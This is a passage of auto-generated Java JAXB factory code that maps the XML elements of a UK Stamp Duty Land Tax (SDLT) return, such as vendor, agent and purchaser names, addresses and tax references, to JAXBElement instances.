return new JAXBElement<StringType>(_SDLTSDLTVendor1FirstName1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor1FirstName2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor1FirstName2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor1FirstName2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor1AddressPostcode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor1AddressPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor1AddressPostcode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor1AddressBuildingNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor1AddressBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor1AddressBuildingNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor1Address1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor1Address1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor1Address1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor1Address2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor1Address2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor1Address2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor1Address3", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor1Address3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor1Address3_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor1Address4", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor1Address4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor1Address4_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentFirmName", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentFirmName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentFirmName_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentAddressPostcode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentAddressPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentAddressPostcode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentAddressBuildingNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentAddressBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentAddressBuildingNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentAddress1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentAddress1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentAddress2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentAddress2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentAddress3", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentAddress3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentAddress3_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentAddress4", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentAddress4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentAddress4_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentDXNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentDXNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentDXNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentDXExchange", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentDXExchange(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentDXExchange_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentEmail", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentEmail(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentEmail_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentReference", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentReference(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentReference_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_VendorsAgentTelNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendorsAgentTelNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendorsAgentTelNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2Title", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor2Title(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor2Title_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2Surname", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor2Surname(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor2Surname_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2FirstName1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor2FirstName1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor2FirstName1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2FirstName2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor2FirstName2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor2FirstName2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2AddressSameYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTVendor2AddressSameYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTVendor2AddressSameYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2AddressPostcode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor2AddressPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor2AddressPostcode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2AddressBuildingNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor2AddressBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor2AddressBuildingNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2Address1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor2Address1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor2Address1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2Address2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor2Address2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor2Address2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2Address3", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor2Address3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor2Address3_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Vendor2Address4", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTVendor2Address4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTVendor2Address4_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1NINumber", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1NINumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1NINumber_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link String }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link String }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1DoB", scope = SDLT.class) public JAXBElement<String> createSDLTSDLTPurchaser1DoB(String value) { return new JAXBElement<String>(_SDLTSDLTPurchaser1DoB_QNAME, String.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1VATRegNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1VATRegNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1VATRegNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1TaxRef", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1TaxRef(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1TaxRef_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1CompanyNumber", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1CompanyNumber(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1CompanyNumber_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1PlaceOfIssue", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1PlaceOfIssue(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1PlaceOfIssue_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_TotalNumberOfPurchasers", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTTotalNumberOfPurchasers(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTTotalNumberOfPurchasers_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1Title", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1Title(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1Title_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1Surname", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1Surname(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1Surname_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1FirstName1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1FirstName1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1FirstName1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1FirstName2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1FirstName2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1FirstName2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1AddressSameQ28YesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTPurchaser1AddressSameQ28YesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTPurchaser1AddressSameQ28YesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1AddressPostcode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1AddressPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1AddressPostcode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1AddressBuildingNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1AddressBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1AddressBuildingNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1Address1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1Address1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1Address1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1Address2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1Address2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1Address2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1Address3", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1Address3(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1Address3_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1Address4", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1Address4(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1Address4_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1Email", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1Email(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1Email_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1ActingAsTrusteeYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTPurchaser1ActingAsTrusteeYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTPurchaser1ActingAsTrusteeYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1TelNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaser1TelNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaser1TelNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserVendorConnectedYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTPurchaserVendorConnectedYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTPurchaserVendorConnectedYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserCertificateRemoved", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserCertificateRemoved(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserCertificateRemoved_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link BooleanType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_Purchaser1CorrespondenceToYesNo", scope = SDLT.class) public JAXBElement<BooleanType> createSDLTSDLTPurchaser1CorrespondenceToYesNo(BooleanType value) { return new JAXBElement<BooleanType>(_SDLTSDLTPurchaser1CorrespondenceToYesNo_QNAME, BooleanType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentFirmName", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentFirmName(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentFirmName_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentAddressPostcode", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentAddressPostcode(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentAddressPostcode_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentAddressBuildingNo", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentAddressBuildingNo(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentAddressBuildingNo_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentAddress1", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentAddress1(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentAddress1_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentAddress2", scope = SDLT.class) public JAXBElement<StringType> createSDLTSDLTPurchaserAgentAddress2(StringType value) { return new JAXBElement<StringType>(_SDLTSDLTPurchaserAgentAddress2_QNAME, StringType.class, SDLT.class, value); } /** * Create an instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} * * @param value * Java instance representing xml element's value. * @return * the new instance of {@link JAXBElement }{@code <}{@link StringType }{@code >} */ @XmlElementDecl(namespace = "http://sdlt.co.uk/SDLT", name = "SDLT_PurchaserAgentAddress3", scope = SDLT.class) public JAXBElement<StringType> 